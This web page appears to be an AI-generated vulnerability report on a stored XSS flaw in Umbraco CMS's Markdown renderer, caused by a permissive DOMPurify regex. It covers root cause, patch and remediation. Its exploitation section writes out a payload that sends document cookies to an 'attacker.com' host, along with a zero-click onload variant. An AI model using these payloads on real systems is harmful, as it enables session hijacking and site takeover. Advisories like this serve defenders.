CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-31833
6.70.04%

CVE-2026-31833: Stored XSS in Umbraco CMS UFM Rendering Pipeline via Permissive DOMPurify Configuration

Alon Barad
Alon Barad
Software Engineer

Mar 12, 2026·6 min read·2 visits

PoC Available

Executive Summary (TL;DR)

A misconfigured DOMPurify instance in Umbraco CMS UFM rendering allows authenticated backoffice users to inject persistent XSS payloads via custom element event handlers. This is patched in versions 16.5.1 and 17.2.2 by restricting attribute names starting with 'on'.

Umbraco CMS versions 16.2.0 to 16.5.0 and 17.0.0 to 17.2.1 contain a stored Cross-Site Scripting (XSS) vulnerability in the Umbraco Flavored Markdown (UFM) rendering engine. An overly permissive DOMPurify configuration allows authenticated users with Settings access to inject arbitrary JavaScript event handlers into custom web components, leading to execution in the context of other backoffice users.

Vulnerability Overview

Umbraco CMS implements the Umbraco Flavored Markdown (UFM) rendering engine to process and display formatted text within the backoffice interface. This engine relies on the DOMPurify library to sanitize HTML output and prevent the rendering of malicious markup. A logic flaw in the application's DOMPurify configuration bypasses these standard protections for specific custom web components.

The vulnerability, tracked as CVE-2026-31833, is a stored Cross-Site Scripting (XSS) issue classified under CWE-79. It specifically affects custom tags registered by the Umbraco framework, including those prefixed with umb-, uui-, and ufm-. Because the filtering mechanism fails to strip event handler attributes from these elements, malicious JavaScript can be stored within the application database.

Execution occurs when the stored UFM content is retrieved and rendered by the backoffice application. An attacker with sufficient privileges to modify Document Type properties can embed persistent payloads that execute in the browser sessions of other authenticated users, including administrators. This enables session hijacking and unauthorized administrative actions.

Root Cause Analysis

The root cause of CVE-2026-31833 lies in a misconfigured DOMPurifyConfig object within the UmbMarked class, located in the ufm.context.ts file. When configuring DOMPurify to handle custom elements, the developers utilized the CUSTOM_ELEMENT_HANDLING directive. This directive allows developers to specify custom logic for validating tag names and attribute names that fall outside standard HTML specifications.

Within this configuration, the tagNameCheck property correctly restricts custom element validation to tags matching the regular expression /^(?:ufm|umb|uui)-.*$/. However, the attributeNameCheck property was assigned the regular expression /.+/. This permissive pattern instructs DOMPurify to accept any attribute name containing one or more characters, effectively overriding the default security policies that block execution sinks.

By explicitly allowing all attributes on these custom elements, the configuration permits the inclusion of standard DOM event handlers such as onclick, onload, and onmouseover. When the UFM parser processes input containing these attributes, DOMPurify preserves them in the sanitized output. The browser subsequently registers these event handlers when the elements are attached to the Document Object Model (DOM).

Code Analysis

The vulnerable implementation resides in src/Umbraco.Web.UI.Client/src/packages/ufm/contexts/ufm.context.ts. The UmbDomPurifyConfig object defines the specific ruleset applied during Markdown-to-HTML conversion. The issue is localized to the attributeNameCheck property within the CUSTOM_ELEMENT_HANDLING block.

const UmbDomPurifyConfig: DOMPurifyConfig = {
    USE_PROFILES: { html: true },
    CUSTOM_ELEMENT_HANDLING: {
        tagNameCheck: /^(?:ufm|umb|uui)-.*$/,
        attributeNameCheck: /.+/, // Vulnerable configuration
        allowCustomizedBuiltInElements: false,
    },
};

The patch addresses this flaw by modifying the attributeNameCheck regular expression. The maintainers replaced the permissive /.+/ pattern with a negative lookahead assertion. This specific change instructs DOMPurify to reject any attribute name that begins with the characters "on", thereby neutralizing standard HTML event handlers.

const UmbDomPurifyConfig: DOMPurifyConfig = {
    USE_PROFILES: { html: true },
    CUSTOM_ELEMENT_HANDLING: {
        tagNameCheck: /^(?:ufm|umb|uui)-.*$/,
        attributeNameCheck: /^(?!on)/, // Patched configuration
        allowCustomizedBuiltInElements: false,
    },
};

While this patch effectively mitigates traditional event handler injection, security researchers should evaluate the internal Shadow DOM implementations of the affected custom elements. If an element like <uui-button> maps arbitrary, non-"on" attributes (e.g., href, src, or custom data attributes) to dangerous sinks within its internal template, variant XSS vectors may still be viable.

Exploitation

Exploitation of CVE-2026-31833 requires the attacker to possess an authenticated backoffice account with "Settings" section privileges. The attacker begins the exploitation chain by navigating to the "Document Types" configuration area. This section allows administrators and highly privileged users to define the schema and metadata for content nodes within the CMS.

The attacker modifies an existing Document Type or creates a new one, specifically targeting the "Description" field of a Property definition. This field processes input using the UFM engine. The attacker inserts a malicious payload utilizing an allowed Umbraco custom element and a forbidden event handler. A standard interactive payload takes the form of <uui-button onclick="fetch('https://attacker.com/steal?cookie=' + document.cookie)">Click</uui-button>.

To achieve a zero-click execution flow, the attacker can leverage elements that support non-interactive events. For example, injecting <umb-test onload="..."></umb-test> ensures the payload executes immediately upon rendering. The payload is stored in the Umbraco database upon saving the Document Type configuration.

The exploit triggers when a victim user navigates to a content node that inherits the modified Document Type. The backoffice client fetches the property metadata, processes the UFM content through the vulnerable DOMPurify configuration, and renders the custom element into the victim's DOM. The embedded JavaScript executes automatically or upon interaction, running within the context of the victim's authenticated session.

Impact Assessment

The vulnerability carries a CVSS v3.1 base score of 6.7, reflecting a Medium severity level. This score is primarily constrained by the high privilege requirement, as the attacker must already possess "Settings" access to inject the payload. Despite this limitation, the impact on Confidentiality and Integrity is rated High due to the capabilities granted by executing arbitrary JavaScript in the backoffice origin.

Successful exploitation allows the attacker to hijack the session tokens of other authenticated users. If the victim is a super administrator, the attacker can perform actions up to the victim's privilege level. This includes modifying core configuration files, creating new administrative accounts, or deploying malicious templates to achieve remote code execution on the underlying server.

The vulnerability is contained entirely within the administrative interface and does not directly expose frontend application users. The scope is classified as Unchanged because the attacker does not cross a privilege boundary into a separate component, but rather escalates privileges or laterally moves within the same web application context.

Remediation

The official remediation for CVE-2026-31833 requires updating the Umbraco CMS installation to patched versions. The maintainers have released version 16.5.1 to address the vulnerability in the 16.x branch. For deployments utilizing the 17.x branch, administrators must upgrade to version 17.2.2.

If immediate patching is not technically feasible, administrators should audit user permissions within the Umbraco backoffice. Removing or restricting access to the "Settings" section for non-essential personnel minimizes the internal attack surface. This limits the pool of accounts capable of injecting the malicious UFM payloads.

Security teams can also implement database-level auditing to monitor modifications to Document Type descriptions. Querying the Umbraco database for property descriptions containing regular expressions that match custom Umbraco tags paired with "on*" attributes can identify existing compromise. Network-level detection via WAF rules is ineffective due to the authenticated, encrypted nature of backoffice traffic and the fact that the payload is stored and rendered internally.

Official Patches

UmbracoOfficial Umbraco Security Advisory (GHSA-vrqc-59mw-qqg7)
UmbracoSource code patch for DOMPurify configuration

Fix Analysis (1)

Technical Appendix

CVSS Score
6.7/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Umbraco-CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Umbraco-CMS
Umbraco
16.2.0 to < 16.5.116.5.1
Umbraco-CMS
Umbraco
17.0.0 to < 17.2.217.2.2
AttributeDetail
CWECWE-79 (Stored XSS)
Attack VectorNetwork
CVSS Base Score6.7
EPSS Score0.00043 (0.04%)
ImpactHigh Confidentiality & Integrity
Exploit MaturityProof-of-Concept
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Commit (Unit Tests)PoC payloads included within the test suites confirming the bypass for 'onclick', 'onload', and 'onmouseover' attributes.

References & Sources

  • [1]Umbraco CMS GitHub Advisory
  • [2]Fix Commit
  • [3]CVE Record
  • [4]NVD Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.